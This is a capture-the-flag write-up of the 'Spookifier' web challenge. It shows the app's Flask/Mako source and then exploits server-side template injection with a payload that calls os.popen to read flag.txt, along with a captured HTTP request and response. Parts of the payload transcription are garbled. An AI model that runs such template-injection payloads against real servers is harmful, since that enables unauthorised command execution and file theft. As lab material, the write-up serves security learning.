




Spookifier

1) Checked the source code

 routes.py U X

challenge > application > blueprints >  routes.py >  index

```
1  from flask import Blueprint, request
2  from flask_mako import render_template
3  from application.util import spookify
4
5  web = Blueprint('web', __name__)
6
7  @web.route('/')
8  def index():
9      text = request.args.get('text')
10     if(text):
11         converted = spookify(text)
12         return render_template('index.html',output=converted)
13
14     return render_template('index.html',output='')
```

```
def spookify(text):
    converted_fonts = change_font(text_list=text)

    return generate_render(converted_fonts=converted_fonts)
```

```
def change_font(text_list):
    text_list = [*text_list]
    current_font = []
    all_fonts = []

    add_font_to_list = lambda text,font_type : (
        [current_font.append(globals()[font_type].get(i, ' ')) for i in text], all_fonts.append(''.join(current_font)), current_font.clear()
    ) and None

    add_font_to_list(text_list, 'font1')
    add_font_to_list(text_list, 'font2')
    add_font_to_list(text_list, 'font3')
    add_font_to_list(text_list, 'font4')

    return all_fonts
```

```

<body>
  <div class="container">
    <h3> Name Spookifier </h3>
    <p>Enter your new Halloween name here</p>
    <form action="/">
      <input id="input" name="text" type="text" value="" />
      <button id="go" type="submit">Spookify</button>
    </form>

    <div class="output"></div>
    <table class="table table-bordered">
      <tbody>
        |   ${output}
      </tbody>
    </table>
  </div>

```

2) Server side template injection

out input is not being filtered, we can perform ssti



Request

PrettyRawHex

```
1 GET /?text=
2 %24%7bself.module.cache.util.os.popen('cat%20.%.%2fflag.txt').read()}%7d
3 HTTP/1.1
4 Host: 83.136.253.251:37730
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
6 Firefox/115.0
7 Accept:
8 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
9 /webp,*/*;q=0.8
10 Accept-Language: en-US,en;q=0.5
11 Accept-Encoding: gzip, deflate, br
12 Connection: close
13 Referer: http://83.136.253.251:37730/
14 Upgrade-Insecure-Requests: 1
15 Content-Length: 1
16
17 z
```

Response

PrettyRawHexRender

```
39 </tr>
40
41 <tr>
42 <td>
43 24%7bself.module.cache.util.os.popen('cat %20.%2fflag.txt'
44 .read())%7d
45 </td>
46 </tr>
47
48 </tbody>
49 </table>
50 </div>
51 </div>
52
53 </div>
54
55 <div class="bg">
56
57 <!-- ////////////////// SHADOW ////////////////// -->
58 <div class="spider-web shadow">
59
60 <div class="containerx shadow">
61 <div class="arm-containerx right">
62 <div class="arm A">
63 <div class="arm B">
64 <div class="arm C">
65 </div>
66 </div>
67 <div class="arm A">
```

Inspector

Selection70 (0x46)

Selected text

%24%7bself.module.cache.util.os.popen('cat%20.%.%2fflag.txt').read()}%7d

Decoded from:URL encoding

\$(self.module.cache.util.os.popen('cat ../flag.txt').read())

Cancel

Apply changes

Request attributes2

Request query parameters1

Request body parameters1

Request cookies0

Request headers9

Response headers4

3/3